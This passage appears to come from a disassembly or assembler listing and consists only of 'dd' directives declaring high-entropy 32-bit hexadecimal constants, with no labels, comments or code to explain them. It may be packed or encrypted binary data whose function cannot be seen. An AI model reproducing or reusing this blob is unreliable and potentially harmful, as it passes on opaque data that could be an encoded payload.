25E7B8FDh, 9347C4C0h, 8E5D0BB1h, 0D35E6534h, 9D9F67C3h dd 0D540F7B9h, 0DA85A0F3h, 16B5043Dh, 0F9B846E9h, 136C5012h dd 0B1DD0F5Ah, 6146E42Bh, 8AAD65D2h, 1EE3BEE5h, 0F8CC0A96h dd 0A07F6BF9h, 7F4CD55h, 0EE477971h, 645101C5h, 55E988E7h dd 691362F9h, 51F37632h, 2D7B6CB7h, 593BE905h, 9AFFF66Bh dd 42B5DB0Ch, 0D70B30B3h, 3558D890h, 0B914B9Fh, 0B6EEE97Dh dd 75F5D027h, 0B436956Bh, 0AD6975F7h, 0BA367C91h, 0E840F5CBh dd 5F3937D0h, 963A653Bh, 0EF65B4h, 572F5EE5h, 226AB951h dd 600C4C2Fh, 6B59DE9Dh, 95522410h, 0A1A40CD6h, 0BDF0B0E9h dd 1E6705A1h, 3802B63h, 4B2545ADh, 553A05Eh, 89F4025Eh dd 8103EDA7h, 0C1E0D7E2h, 0A0F92948h, 1CC10870h, 34AA4CB5h dd 0C0E61C60h, 7A6DBD64h, 419D7B93h, 0DDC2B2C4h, 98C9649Bh dd 0EA5D8247h, 63167FA3h, 1684B4E1h, 62E90802h, 3251F5C4h dd 0F45BDB09h, 81088068h, 0F25FFDF3h, 0DE29FF12h, 0EEB16EFCh dd 9019E038h, 0A508FC9Fh, 1CC1948h, 383BF086h, 0EECC225Ch dd 0C8F1A825h, 90C05027h, 57D06F29h, 7A729761h, 647EED75h dd 0C8E65B3Eh, 7CC40504h, 0BBC1132Ah, 0C080C6E5h, 98101FBEh dd 0F3300926h, 1366BA5Eh, 0E91417C8h, 0BAA984C0h, 0CA9214E2h dd 93124A50h, 1CC39D00h, 5E686B65h, 79ABA68Ch, 5A29162Ch dd 45FCA217h, 0E2535826h, 68010C45h, 302F44F4h, 5C692CD8h dd 0F9E8075Bh, 5BA734h, 0CE7414A5h, 0C65E011Dh, 805B5EB2h dd 0A95915E6h, 0E2291928h, 130845E5h, 4BDEAE87h, 20572C7Eh dd 9A51058h, 5F5BD831h, 7C51DB19h, 51FF93D8h, 50B52B2Ch dd 663031D6h, 0F3DDE933h, 30C2A29Eh, 8A70D112h, 8A9255F5h dd 27EF248h, 71E30305h, 3F1017E1h, 5E7A68B6h, 406E929h dd 1C785C7Bh, 947506EBh, 0D84F4D9Bh, 0F84B8ABCh, 0A3ABF4F2h dd 0C868871Eh, 99FE12CEh, 53D887B8h, 0DC20D388h, 0ABCDA3E9h dd 704EC24Bh, 0C2D2BF4Eh, 1A52C624h, 1C355302h, 57E3625Dh dd 0CE3D55D8h, 2D1D85DDh, 329065E9h, 3851BD55h, 81813A3Ch dd 8F5779E5h, 70BC3075h, 39AC6116h, 14D05FBh, 479F82DEh dd 3D820E51h, 0D738CF74h, 0D091A2E3h, 0F3808053h, 0BB68F141h dd 8C361232h, 1F16FE5Fh, 0AABD84h, 28CFCB25h, 56983937h dd 0FFE84F4Eh, 0DFAFE90Bh, 0F897F248h, 0F5177E2Dh, 58C18082h dd 5A40B27Fh, 395B2264h, 57FED354h, 895F5612h, 0EA5EA7CBh dd 0F3E9A542h, 25264D8h, 10441F32h, 0CA61D101h, 808A87BBh dd 59839EC1h, 0BF2A26E4h, 5650FA5h, 0FBD3FA44h, 40B423CCh dd 199757D4h, 0B23A5391h, 83BF3D55h, 0B85E0141h, 37EDA03Ah dd 2DE0C031h, 33B14DEEh, 68E0D105h, 62E3721Ah, 7A03DD0Bh dd 0E98AE057h, 0B7609A12h, 49245B73h, 0FB113909h, 4EC0B8E3h dd 0D601EFEh, 0D148868Bh, 0A2681545h, 0A27A046h, 0BB534640h dd 22252A09h, 14DB7858h, 0A2DC829h, 0FD1E645Ah, 0FDC02DEBh dd 41CCD122h, 41A0B5C6h, 0DC486BB3h, 93A618B0h, 2E763785h dd 0BE4924C5h, 32C854B8h, 0BA5256D8h, 4611860Ch, 332960Dh dd 0E9639D03h, 6E2CB4AAh, 7F6970BAh, 7F92DFA9h, 0A7CBE557h dd 647449EAh, 0C52AC959h, 4AC2B219h, 0E5CE61BAh, 0F18100ACh dd 0FAB31E94h, 9FA1CCAEh, 53042ED3h, 0EF831B63h, 50E5B287h dd 6F6047F1h, 4A71FE3Ch, 4C0CB32h, 67F14DDFh, 2BF38F80h dd 0F06E4BA2h, 9390051Ch, 210C8A0Eh, 0BEC3DF40h, 0C27D2B6Dh dd 8592FFDDh, 9CC17B6Bh, 0E0276F16h, 5B0E082h, 3516AA41h dd 0E6D1AFD7h, 51018C4Bh, 0F08F9C9Bh, 213C397h, 685E5280h dd 0E2C8BF75h, 0B980D8A2h, 5C1F1273h, 52940447h, 4025ECE0h dd 7E09EAB6h, 0D57B7112h, 9C24585h, 295D5B08h, 6A6C5F67h dd 0E4D26C2h, 0EA8F802Fh, 5C052BB4h, 0E9131979h, 80B1B07Ah dd 50CFF507h, 0B1B2A0B0h, 65A27E12h, 0D9A92074h, 49E6F75Bh dd 1A6002F6h, 7A30E663h, 0F92F4EFAh, 0AFDB0E4Bh, 88F67AC7h dd 0D098D20h, 57A82B90h, 21C5B50Fh, 50D7C110h, 0D15857B8h dd 0F4715D3Ch, 725FAEE9h, 0EB1C96F3h, 0B4DF2DB3h, 0B5D09845h dd 9A5DC505h, 4DA2580Dh, 7504C3Bh, 6F0809CEh, 4C31D6B2h dd 72C0BD65h, 7B4FBF68h, 8C322329h, 0D96AA418h, 0F3C058C6h dd 5852548h, 0F83D7509h, 0E42CB866h, 31364FB3h, 0F157A6BEh dd 7DF07B64h, 6E9A042Fh, 0AF7F09E9h, 540BA40h, 48693FFEh dd 0BD4B2C9Fh, 7BF84FACh, 0C4207200h, 931EBD11h, 80805727h dd 0E9454D08h, 8C904BFCh, 0C1F55B8Fh, 0EFA152DCh, 8552CA5Fh dd 1088B4B4h, 0A94C05C4h, 21FB09F7h, 0A61E8CBCh, 8D08CEE5h dd 0FFBA0ECEh, 80114831h, 7F046EFAh, 45BC2A68h, 0B99FA13Fh dd 1360F36Fh, 3D01565Fh, 7CDE6B1Bh, 17C6C620h, 0BD257A8h dd 0BF905B16h, 1C165ACFh, 840338B4h, 881F3A7Ah, 9ACAF0E9h dd 0ED802E8Ch, 0B05F2D39h, 97DEB814h, 0A81507B1h, 563D65C9h dd 5BC12E52h, 0D3EA8087h, 1044740Bh, 0C68101BFh, 430C629Bh dd 4617046Ah, 1D680056h, 9C148D3Bh, 0FFED58B7h, 4AFC454Ah dd 485FDB1h, 1491C087h, 0F42B3211h, 49168D30h, 42A133FEh dd 58F21780h, 310E387Fh, 6662E897h, 4D60267Ah, 77A403B2h dd 0EFFC3CA5h, 0F702CDF6h, 0D8D308CAh, 0E912FAD8h, 8EEFFAEDh dd 0CBD648D3h, 0EF6148E0h, 7BD1F875h, 3E0F2029h, 0E31C437Ch dd 3FC357D4h, 945EB87h, 0C6DAE906h, 45FF0B3Ah, 668EBF9Fh dd 83446AE9h, 0ABA3EAE2h, 4E7E5050h, 0AD37AC2Fh, 0B560E731h dd 0C34625C6h, 0ED016E58h, 0CA62350h, 0A07ED5F7h, 6B24B688h dd 0C808877Bh, 0E2C000D0h, 6EB45005h, 8013E4F2h, 0DD093CECh dd 423ADE36h, 0D4920508h, 7E4EA9F5h, 0B35D1223h, 785524Ah dd 75E86AABh, 0DFF6A8A2h, 0CA989198h, 1BFB1B7h, 38BFC83Bh dd 30E3EE63h, 893B8964h, 2B682430h, 9D22FCh, 1E254F2Fh dd 0FD41C7E9h, 0D5BB8744h, 4A9FF829h, 0A8D2DDEDh, 0B53A10AEh dd 39476805h, 0D2DFA05h, 0F3EF8541h, 10D38A7Eh, 5D134C5Fh dd 982E0E2Dh, 0A10BFB3h, 7C097507h, 1DE46Ch, 662B02E8h dd 7AD6F678h, 0A8455E46h, 0DCFF25E6h, 9B2ABB84h, 0B715B0C6h dd 80FF5CB2h, 5C37BDAEh, 0E942093Ah, 0FFD4D236h, 4A93BBEDh dd 0AB9C8419h, 319A18E3h, 0BBD8CD6Ah, 0DE4B5DEAh, 9C4AB293h dd 1ABB0C4h, 3654750Dh, 60726164h, 6189645h, 8B0C2467h dd 54B1205Fh, 0ABE52709h, 0FB7983DDh, 0E90FF845h, 3B1341F6h dd 0B551CA40h, 0A0EB880Ch, 0A6386EC3h, 0AC18CE8h, 188E685Bh dd 0FE7393B8h, 0C5D89E29h, 89D99D02h, 13B85CE4h, 9A84184h dd 98A0DF47h, 63D349B4h, 94BBA9Eh, 638D42C8h, 0D8F689F9h dd 0C2C0FCF1h, 0D285C58h dd 0FBC1D912h, 51E2A393h, 26F8317Bh, 2894B302h, 0E6A25F31h dd 2A7F55EEh, 0AEB40FBCh, 572D43DEh, 268B398h, 7D354902h dd 0DE78E95Ah, 26D79E5Eh, 54183D6Ch, 39EB450Ch, 512F021Bh dd 0FF15B80Ch, 0F35E5842h, 0B4343D04h, 416CFD08h, 0BEC44508h dd 0E98457B2h, 7E05B123h, 0BD63C221h, 7A7F442Ch, 4D10B52Fh dd 69F4F789h, 0B75E404Ch, 10B44C2h, 3302AA68h, 0EB4050BBh dd 604B0804h, 0E4AE1FE9h, 506584F5h, 43F2C75Fh, 3399EFC0h dd 68175E5Ah, 7E8C7EDCh, 0FF5419F7h, 44CA423h, 4A5D3AFFh dd 0EC091FA1h, 0F257A793h, 34FAD075h, 0D8B0B0FBh, 58D940A4h dd 1E099Dh, 35373A9Ch, 0E2D12669h, 62250EC6h, 0BFF01FC9h dd 0E8FB9202h, 94FA2108h, 0B7133030h, 9A6BF6ADh, 5070322Fh dd 1D7A5922h, 30C73502h, 73D04D5Dh, 80251A9Dh, 3E5BE299h dd 0A2297F22h, 0CD0821B6h, 9C50D3E9h, 113582Dh, 1A050959h dd 7A15FF49h, 33144787h, 0BC44F0Eh, 857ED3Eh, 1FCC220Ah dd 2EB649C6h, 44E51CF6h, 2E2231AFh, 57B76E70h, 8B685D81h dd 9D8D2A17h, 0E68BC8C1h, 568542BAh, 0C412C069h, 6458F629h dd 8D57862Fh, 2179B736h, 0AA63AC2h, 190D0B2Ah, 6FB545B0h dd 0CE62E2B4h, 32BDA576h, 0BF59C5AEh, 68C2DCB2h, 477F1C16h dd 0B0F5A72Ah, 0B535CAE5h, 0BA126E22h, 0F40AECF7h, 23FD48CCh dd 31AC5689h, 1216466Eh, 99FE0D11h, 3F1D40E8h, 4127E742h dd 1599FB5Eh, 0BD4AC5DDh, 2504015Dh, 3DE50290h, 91980D4h dd 0E7E97EF8h, 6E02C5A9h, 7AC4FC9Ch, 70514F0Bh, 2D56D925h dd 0BE62C2D6h, 52E77C06h, 7B1264C1h, 49639F90h, 0C7434E1Ah dd 0D2A38160h, 6E1E3BCEh, 96A7844h, 16C9D4AEh, 37548A08h dd 0C2973E01h, 2EDE4DA0h, 577F2CE9h, 5B58A82Eh, 14F5F803h dd 4A0705E8h, 852D71B6h, 0BB3923F5h, 0C2E50377h, 33BF5B83h dd 2BA779D9h, 53D65ECCh, 44CCEB98h, 0DC9858EAh, 0A5836595h dd 3409F6B0h, 624E6C97h, 3FB61F4Fh, 517007DDh, 79E118B4h dd 0EFC188FFh, 6CC2A002h, 0EBB94F1Ch, 280FA416h, 0E0FC2BD8h dd 2E9FF7BAh, 8D2909DBh, 61A3D345h, 0D5E6687Eh, 1DCA1008h dd 129B802h, 0D1DF6551h, 8CE9893Ch, 0C78032A4h, 544B832Bh dd 0E1EDD300h, 296E166Bh, 5899B0F5h, 0CDE5E23h, 0F62B90EEh dd 46280605h, 15E64E14h, 1379E610h, 2D0B22B9h, 49F88B68h dd 0A22BE79Ah, 7040F176h, 3EEC6800h, 11D7B2Fh, 66CE81Dh dd 0FB3D41FAh, 4123DCD4h, 0CE6D4131h, 2D5800BAh, 80170042h dd 8810543h, 0DEB507B6h, 0FAC00803h, 5BDA8807h, 5885D135h dd 3C6BB1E1h, 252DE98Ch, 5BA2F264h, 3A94E1C6h, 3A848DA3h dd 37BE00C7h, 9FE83B43h, 0B40B8E8Fh, 0C68B1CD1h, 5B45AFDh dd 2008A0EAh, 5063E45Dh, 6A8DE910h, 6172AC5Bh, 984115F4h dd 4A92E970h, 9D4F75Ch, 0C463E368h, 84B70241h, 6AE9FA88h dd 72B956C9h, 2E2E51DEh, 25E978E4h, 0C75A6C5Bh, 6C251325h dd 0DD40167Bh, 1883C40Eh, 0F9A3A07Ah, 5BCFFE97h, 0D27DD5F2h dd 1360BD8Bh, 0B8C3BD0h, 6FC26719h, 0F780F75Eh, 294C6641h dd 70C99853h, 0BD4ABC4Bh, 3F42EE2Eh, 0C0FDB4ACh, 261A2F01h dd 5FFB6816h, 2B094160h, 12604D22h, 655D298Bh, 0BE56003Bh dd 0DCB580Eh, 12029CB8h, 3147D354h, 8A037EF1h, 6FB7D06Eh dd 0DEEC2D06h, 27C3CBA2h, 3A311DC0h, 0A3FC019Fh, 0B07AE223h dd 0F7B60FE9h, 12BE5B17h, 0A2CAAEA0h, 0CFCBF2C6h, 17A0DF4Bh dd 0CBD68AE0h, 6A8568C2h, 6A47F575h, 0F514E909h, 3D00082Bh dd 4A10B735h, 0F9271A7Dh, 25386E9Bh, 6B667140h, 0C2E7599Fh dd 0C2DD87E9h, 559E7F0Bh, 0D0ADB95h, 248507AEh, 4D0ACF7Ah dd 0FB20285Dh, 0BD7DFB02h, 594E6126h, 888BB03h, 0D0970B84h dd 7B3802BEh, 0DE310DB9h, 62026D56h, 4353B116h, 85C7C2ADh dd 8EA15E08h, 1E98184h, 44EE914h, 54BD36F6h, 201C7D81h dd 4B018B30h, 0DA2DAEDEh, 4E52662Fh, 0D2A1D497h, 0A7DAC77Dh dd 0D8255DE5h, 787B2784h, 0CCB334E5h, 1CA68174h, 582ABC71h dd 2B7018E1h, 7295A376h, 0E9088092h, 868097EBh, 897E3FBDh dd 2BD71B4Ch, 4124BAB5h, 33792907h, 79F416Fh, 80E87BEDh dd 8D5092E7h, 506D27E6h, 0D994A789h, 43974242h, 0C353522Ch dd 3C10E95Bh, 0AF5184Ch, 0FE3F72E1h, 761C9833h, 6FC10F47h dd 0AA643C7Fh, 0DCD1A32Dh, 0F4FCE2D2h, 0B4430EB0h, 25B62248h dd 0B2D40502h, 5A144C1Ch, 0CECD2BBh, 6122E1D3h, 87A32E43h dd 0E21DD633h, 578D72BBh, 20CCAE87h, 0D54A6E36h, 5C6EDC5h dd 0AA9F9006h, 0BD080A28h, 0AFC12325h, 0BE4B08F2h, 0BFC953h dd 0CE54993Fh, 0D74F2957h, 0C7E22CEFh, 0E7445001h, 0DD33E943h dd 2AD1FDC2h, 75A0B0E2h, 0ED4BACC6h, 0FCB86403h, 294ED860h dd 0C8B39DC7h, 7C9BCAh, 80129450h, 1F27DBBFh, 3BDC9A7h dd 535212E7h, 806BB951h, 4C3D50CCh, 0F26029E9h, 6984088Fh dd 0BF2E702Fh, 9F0942F2h, 802A4718h, 35FF1A89h, 1675B9CDh dd 4CCDA3B1h, 60871F54h, 0F81C0BD7h, 0AA95A652h, 9A15CF01h dd 126E8976h, 0C90FBA52h, 5B30F03Eh, 39922D61h, 7CD0CEFCh dd 56592D08h, 0C4E9F8C9h, 6805C4BEh, 4B2461A4h, 0F19AEBC2h dd 45D588E0h, 0F6B1C12Dh, 0B12D0C06h, 0BBEC55Ch, 0B9F4FB10h dd 0C0CBF150h, 38F2BD16h, 91227CAh, 21005DE8h, 589E2B44h dd 0A8EB4BD1h, 4C0580FEh, 0B5755227h, 708C5E2h, 20B51FBEh dd 65AF545Eh, 5B8DFC1Bh, 4DBA2CAFh, 242AB48h, 0D57368C7h dd 62D6127h, 4FC5D690h, 94606EFCh, 161B0137h, 6501B598h dd 0E909E73Fh, 0CC7A2457h, 0D856744Eh, 0C681376h, 4C39CEEAh dd 0C4325959h, 31BB9F5Ah, 0B92D26h, 13DFB753h, 1DC0D7F6h dd 808E7B7Fh, 7E76CFh, 0E9FE2841h, 0A9B13BE5h, 0A180F56Bh dd 5167C922h, 4CC8819Dh, 0F4606BA0h, 3A541C83h, 23F5674Dh dd 0F27A4E4Dh, 4C3C407Eh, 443A301Fh, 2F05CE18h, 5804035Ch dd 0C189B13Bh, 82C07370h, 452C03D5h, 0EE85027Eh, 0D23876B6h dd 7A8F277Fh, 55800F8h, 69DC13BBh, 6D4047F6h, 0E281024Ah dd 2FD90C3Ah, 91440D7h, 0B813F436h, 0A2B7AA7Ah, 0AFB4D6h dd 0EE87F529h, 0C3DC60B5h, 4917D2D5h, 0C97ED812h, 21BCFD27h dd 0E939F8A4h, 76214E30h, 877D6E68h, 1FDE3384h, 0E9576B4Ah dd 3998888h, 400EC2B9h, 0C918C87Bh, 0B5F69C56h, 0C26FBBE3h dd 68017A67h, 15881601h, 57093F2Fh, 4FB98652h, 6A6B1663h dd 6F10EB96h, 33B50EE6h, 1A403322h, 0E4A3CCF5h, 493140E8h dd 0D812D0A3h, 25AFA948h, 79C5820Eh, 9BC06446h, 0AB097E68h dd 0BA5D040Ch, 87112947h, 12C1C48Eh, 0A7BBFDC1h, 0C275903h dd 25695A80h, 695EA22Dh, 52809BE8h, 1191B951h, 0BA270205h dd 31FC879Dh, 0F691C37Dh, 41F45E59h, 0CF6512B8h, 0EFF47B0Dh dd 4EC0FE03h, 5D8B325h, 422E4573h, 3183F4FBh, 62B787B7h dd 0BFF964B9h, 0E9042265h, 1165B07h, 0D6530628h, 501F2E4Bh dd 0F0579392h, 1D0774ACh, 0C4C9C280h, 333FC43h, 5495B005h dd 0E466D171h, 9D514A5h, 5C3E7C20h, 90464697h, 2FEC44C3h dd 53BD6613h, 2E5E0CEAh, 0B5FE90Fh, 0CFB27012h, 0BD9FB185h dd 314B088Ah, 1B243909h, 3F0FC259h, 72E4680h, 0F0E52F50h dd 19C17FACh, 0CF4E2DC6h, 4FAD80CAh, 0CBE87111h, 857DE90Ch dd 4FBD012Ah, 0A279A704h, 42EB1063h, 0B2444B08h, 5D0B525Eh dd 0CC82EC82h, 68C13100h dd 862A4938h, 4345DD8Fh, 2D0A5646h, 0DDF66FDEh, 213BA516h dd 0F827E681h, 0C6C167BBh, 0CBC8AD74h, 30159340h, 296E12BFh dd 2C9401F1h, 0F8733549h, 331283E5h, 12AB5B25h, 73D9AAE8h dd 5D0A9942h, 668CD98h, 5AAA5D53h, 14D62180h, 0E63D4E1Fh dd 36D750F9h, 778AAB4Bh, 262B2845h, 5C900E45h, 0CEBBCD2Fh dd 87EBB5D8h, 8B7D1CFAh, 0A548DEEFh, 589D9455h, 0D24C85E9h dd 835ED586h, 1980C200h, 0D96847A7h, 8A539F26h, 7A634431h dd 0DC60C8E5h, 948B71Dh, 7BBDC2B8h, 0B7133D16h, 60D2EEB5h dd 4984CCCFh, 3503BB3Fh, 5B0D15E5h, 95133DA8h, 892D3702h dd 5D49D0E8h, 3F1BBEAh, 13E11513h, 4B2CF8C0h, 0B5F2BC6Dh dd 3B83C9FAh, 0B781E5BDh, 20A7B1EBh, 92ABDAFBh, 67C85EC0h dd 0F8048B90h, 102166Fh, 0EBC4A4BEh, 8CE90BA0h, 13FBD059h dd 41AC07EEh, 0EC802412h, 0DF099E6Ch, 6292F45Dh, 7B5FF3D0h dd 735EA5F9h, 42B0F5F2h, 6CBDE832h, 0F663B5BCh, 0AE82BDBAh dd 68023FB9h, 7424FF1Ch, 0F542924h, 324DEB02h, 0CA6FC018h dd 76502430h, 0FDF206D6h, 0E9180C5Dh, 2A530F3Eh, 74061E51h dd 0C4CFFF58h, 3CFBEC3h, 9922AA5Ah, 50F15F5Ch, 13A06145h dd 80EB3928h, 952AC84Ch, 4B5576AAh, 0F0F120Eh, 10D7FAA3h dd 5EC9A6A7h, 0DB32D1D2h, 84E2D7E1h, 2BC200Ah, 55E93C4Ah dd 0B05D5430h, 3033844h, 0C1054847h, 0F1D5FCC7h, 5AC0262Dh dd 0F3159CB6h, 9C268919h, 0B246A849h, 0B2584E64h, 75ACC5A8h dd 1E17C290h, 317E1F11h, 0E3EF09CEh, 2C616112h, 57DEE8F0h dd 0F2CE669Fh, 1BB04909h, 0F5FEEB25h, 0E0DB4252h, 0BD186ABh dd 2802C180h, 51686801h, 0D78C2A4Eh, 4A059F2Fh, 8B4E49B9h dd 138C4455h, 0F3174468h, 0A1DD1F8Eh, 3CFBCBF8h, 233168A9h dd 0F3CF4F3Fh, 0DE84B83Bh, 0F024569Fh, 0C50DF080h, 2C7B2D7Eh dd 0BBA4E68h, 0A6C885EFh, 940132F0h, 93F18105h, 6960E536h dd 8091EC1h, 0C9023E4Eh, 65CB712Ch, 2A044FEBh, 2988BF3Ch dd 2C7B84E8h, 0C40AE79Ch, 7C8740Ch, 0A4A9ADBh, 28CD6855h dd 6526427Bh, 629E83DEh, 0FD2A9149h, 5070FD82h, 20888FEh dd 2B132CCCh, 58C68B7Eh, 4BA02A7Bh, 47EE8EF4h, 702DEE69h dd 89D6BFE2h, 60B5E9F0h, 0E3251C49h, 53070B19h, 712B220Dh dd 8E0C120h, 97F825E9h, 123CC759h, 0D0BFD3B2h, 4D9668D5h dd 0EAAD4993h, 55AF4255h, 6CCB8B82h, 9909A508h, 0A4BB755Eh dd 0EB82E39Ah, 0D45EE0F5h, 0E92F0973h, 7754931Ah, 0FDAD9889h dd 13B086ECh, 71553717h, 57C60202h, 0FE08A2BFh, 0FA35605Fh dd 5E048B2Fh, 7DCC3C9Ch, 705DF94h, 56F4C529h, 0E9545F52h dd 0B8C4C43Eh, 5AB1A6BBh, 4B8F7388h, 0C0E5B346h, 0D0E19335h dd 0F085B552h, 7B5D8D81h, 49718C91h, 0BB1CF6Bh, 5DD812B4h dd 8083BA04h, 221668B5h, 5EFB1995h, 2E98FD6Ah, 318B51FDh dd 872A07F5h, 1C028C4Ah, 0C1A821CDh, 0E27CD33Ch, 0BD12A097h dd 0D9E2B25Bh, 73310300h, 96BE5677h, 41C6320Bh, 62798F46h dd 80602569h, 0DA7222BDh, 5B59B831h, 691404Fh, 55833548h dd 0D50FB01h, 4A915CFDh, 49BAE03Fh, 67C50E02h, 0FF5DEB89h dd 0C3819F60h, 9A479E12h, 41F36200h, 0BE7F942Ch, 73D61CD8h dd 0AEBDDE9Bh, 0FBDBAB0h, 40440D76h, 42503149h, 0B2E8341h dd 0CF09A56h, 0AF3CC595h, 5F65DD60h, 50186697h, 12CF9353h dd 77470Ah, 0F96AA30Eh, 71190567h, 0C7ECF4FCh, 8E96B241h dd 69BB5300h, 43322407h, 39D2D989h, 0D212DD61h, 0E1A0CB75h dd 0B83BAF53h, 6DB99385h, 0B088E984h, 0CA092D0Bh, 0D53CA99Dh dd 24913988h, 83893967h, 4603305Bh, 0EE85CB70h, 0F64E5BF7h dd 97571A3Dh, 0CD595F72h, 0F610A74Ah, 58F8E45Bh, 0ACF48016h dd 0ABC7CC0Dh, 0CF81EC80h, 14C41B12h, 7DEF4EFCh, 0B6DF10E1h dd 0D580B900h, 0CA01B7EAh, 4D39697h, 7D14E4C7h, 4250AA7Fh dd 0FC5A2708h, 3BF67A8Fh, 42D1B88h, 0D52877FFh, 1FF2FB23h dd 9271EDD3h, 210A2AD1h, 6DC1997Ch, 704EAE69h, 56BFF9B0h dd 0E4E98A0Ch, 81D4A789h, 785B024Bh, 2B2AB4Dh, 56942129h dd 575E52E7h, 12204E5Ah, 0BC328E68h, 0F226B62Ah, 0C340455h dd 0BF97C1E9h, 2468F09Ch, 695D0235h, 1A4C9990h, 809E9888h dd 0CFE4E188h, 0C9B6595Eh, 20606D3Eh, 9619D0BEh, 0D9B00A5Fh dd 3278954Ah, 38CC6816h, 233FF361h, 5A3CC833h, 2B8146A5h dd 0F14391B8h, 7EA36E16h, 1B32BE00h, 0F0290993h, 8255E00h dd 0D57922Ah, 0A38FA23h, 8D4FE927h, 59948C87h, 0A95AFEBDh dd 694BE240h, 7D2911B8h, 0A82E27F1h, 63A8D26Dh, 0E8A8902Dh dd 483F4F19h, 0D8165315h, 0C95A5496h, 128D0614h, 1B209509h dd 58B8BE1h, 4B050FFBh, 0F210AB25h, 0D6F607DCh, 0A61FEE80h dd 952DAC58h, 0F900B354h, 873BE631h, 4D22B8D1h, 0DA3B5166h dd 0BA5D6992h, 0AA2A986Dh, 95864844h, 65FF5F09h, 129E9CE4h dd 64480696h, 0EE07C56Bh, 34EA0512h, 4BAC3BB3h, 44BACE9h dd 40AD3004h, 5B351C1h, 13FDEB07h, 0AB5405BAh, 817F5E0Eh dd 404003F8h, 0FD65A2BCh, 30DE0851h, 0EBB7E8DFh, 7089BA04h dd 1CFC95A7h, 0B004F5EBh, 7913BE1Bh, 3BA999FAh, 5B604EA5h dd 0E7F4941Ah, 0E5F76B83h, 0F65C1366h, 0FCE985DFh, 0DEF80595h dd 0CCB98039h, 971BF79Fh, 5680C143h, 6F346052h, 77BB7E1Fh dd 2F85E755h, 4B61735Fh, 2E889174h, 66AC0BA9h, 697F3A83h dd 93D4313Fh, 0FB207AB7h, 58DB19BDh, 2C02580Bh, 311EF267h dd 742482D7h, 33E55FD8h, 0D5D195BEh, 51CB1697h, 65FB6E13h dd 0BE94AFD7h, 0E66861EEh, 704D234Fh, 0F4A9E85Ah, 9014A35Eh dd 466907EAh, 0E9315EA8h, 0BC6BBBB6h, 0C8BDB3F0h, 5B4B6866h dd 5C0E04Dh, 9DB85940h, 741DF4Ah, 0FA333A6Dh, 8FBA840Ah dd 379D1032h, 3B710ADEh, 70754208h, 0A0F8FECh, 9053A1Fh dd 3930DFDEh, 0C6A8CD73h, 6817D830h, 8C352309h, 5B2109BFh dd 0A3BA4760h, 1EE36417h, 3109C9BAh, 0A59FDCE8h, 21FBFE5Eh dd 7EE9E62h, 0C209C3A5h, 86657ABh, 6C1A94Ah, 0A620C129h dd 0CBC04BC5h, 3CAD41BFh, 1AED5FFFh, 0C749BB92h, 30EE6035h dd 5A660BD5h, 4707C680h, 4C5D5EEEh, 545B2FE9h, 44985F4Fh dd 2D9B90EFh, 9FD65DBAh, 580B08A0h, 0DC0B2868h, 5EF77004h dd 53717E9Fh, 42D157D3h, 33089831h, 0F4685006h, 0F25A42Dh dd 423F452Ah, 0E70CF9A6h, 0D9DE5E27h, 8B0F9E7Ah, 5CF2E327h dd 6547C09h, 0D433584Bh, 0B414706h, 0DC1F342Eh, 194DE9CFh dd 505D0F1Fh, 769D0557h, 0BE97B5B8h, 9346DC44h, 0C2A7B3BBh dd 0F9A97DE9h, 0B81744F9h, 28BB02EBh, 5D0FC902h, 0E704B752h dd 9C4C576h, 9A5372C1h, 68825132h, 45D57E2Dh, 132992FEh dd 0BB8BEFF3h, 30E95040h, 0F6558CA3h, 29270B49h, 1C065E53h dd 6CE9444Eh, 2FEF4B6h, 0C6012CBCh, 616B0801h, 0C92B3682h dd 87C11F4Ch, 2D66645Eh, 86229D4Ah, 1F67C41h, 4453C4BBh dd 6B45E974h, 0DD006D16h, 0FA5D9AEEh, 0D6293F73h, 0BA7C1F12h dd 0B0B80C64h, 35A5687Ch, 5AB4BCD0h, 7F1EFF13h, 49D0CF0Bh dd 77AFD3BEh, 0EB09B077h, 63DC97FCh, 102A69CFh, 3F291AD1h dd 20901E6Bh, 0E6513E8Bh, 7695926h, 0D6F7F187h, 0CE4D4E31h dd 0B3A6C08h, 7D5EDC2Fh, 0BF007189h, 677C4D8Ah, 2FCF709Fh dd 8968F068h, 50814EDEh, 0FAE39521h, 0EA0102ADh, 0CA49AC79h dd 0ED154091h, 6E212632h dd 0EFC01D79h, 6D683AA1h, 0F65F8940h, 0F7C59867h, 0A901BDD0h dd 0D6A97889h, 598201DCh, 0F5971C5Dh, 0E8318402h, 5E4C47Dh dd 52778EB9h, 6F25C051h, 80E37D75h, 20570E8h, 9755683Ch dd 0E41E4BF3h, 0A8A06F93h, 382CC75Eh, 96E5B779h, 0FE5862CFh dd 9CCE0270h, 400EE207h, 2FD02527h, 82DEA101h, 0AD65FFC9h dd 0D5FB8F67h, 0C8AD5865h, 0B5300A42h, 57546130h, 6AED7AE1h dd 53658096h, 6B096855h, 0E071F719h, 0B77C984h, 0EB892A10h dd 0F570EB54h, 58F4271Fh, 5A0A2C0Bh, 25A41947h, 1454895Dh dd 67B1F905h, 69D6FAA6h, 715B0F50h, 18E3BDC5h, 68C00A3Ah dd 47B8254Bh, 7DE20ADEh, 3A858BFCh, 3F3DF0FBh, 1177DBCEh dd 98210B2h, 480CE45Dh, 173D5E99h, 1A7DC400h, 26526815h dd 0A13349C4h, 9D643F9h, 5B4AC6D7h, 5F0868D5h, 0E5C27929h dd 4117E56Ah, 81AF9571h, 73D9CF2Bh, 9030258Ah, 0AC6D16B5h dd 832BB963h, 0DC2128B9h, 483A83C0h, 0A1455A40h, 30EBE481h dd 674E9F90h, 0E48EB2B1h, 0CA36FF9Ch, 30277E65h, 702BD65Dh dd 0F106F766h, 0B1B6853h, 0FBCF4BE7h, 0B4829F27h, 0C54169E3h dd 2225C688h, 807AB227h, 4129614Dh, 0A30CC07Fh, 152AE46h dd 8B0F368h, 17386806h, 73D1376Bh, 0DF50B70Ah, 9041D905h dd 2C1A0104h, 49C5515Fh, 7698E3BBh, 392E5909h, 0F8B2E317h dd 79735AC9h, 2A4979C5h, 585F60Bh, 2018FEF2h, 50BE0902h dd 0D6A7417Bh, 0C5678B2Eh, 9DF8CEFFh, 520E089Eh, 692039BAh dd 4D115F0Ah, 0BDFDCF01h, 16E2856Dh, 431634B3h, 662988B2h dd 87E8DD92h, 0D5C5EA50h, 3F5206A1h, 0E98F3DE2h, 5A17BCD6h dd 0A8C2D8D4h, 0E28BA75Fh, 35E53601h, 2841ED2Eh, 7672D80Ah dd 0F339C732h, 4950FADFh, 0BB2F6CDDh, 817B9CDAh, 597B8C16h dd 63044413h, 0BE073D83h, 0EE1E54E3h, 